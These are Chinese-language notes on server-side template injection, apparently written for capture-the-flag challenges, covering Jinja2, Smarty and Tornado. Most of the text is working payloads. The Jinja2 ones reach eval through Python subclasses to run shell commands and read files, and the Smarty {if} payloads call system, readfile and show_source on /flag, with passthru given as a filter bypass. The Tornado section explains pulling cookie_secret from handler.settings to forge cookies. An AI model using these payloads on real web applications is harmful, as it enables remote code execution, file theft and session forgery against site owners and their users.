模板注入SSTi笔记

jinja2

命令执行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

文件读写

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

Smarty模板

常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if} 
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} 
smarty中的{if}标签中可以执行php语句

system() 被过滤可用 passthru()

tornado模板

我们大概可以看出来，render是一个类似模板的东西，可以使用不同的参数来访问网页。那么我们在进行该题目的操作时，其实参数也是传递过来的，那么是什么参数呢。
在tornado模板中，存在一些可以访问的快速对象，例如

这两个{​{}}和这个字典对象也许大家就看出来了，没错就是这个handler.settings对象，又黑翼天使23的博客园日志可知， handler 指向RequestHandler 而RequestHandler.settings又指向self.application.settings 所有handler.settings就指向RequestHandler.application.settings了！ 大概就是说，这里面就是我们一下环境变量，我们正是从这里获取的cookie_secret 而后使用在线的或者python的计算一下就可以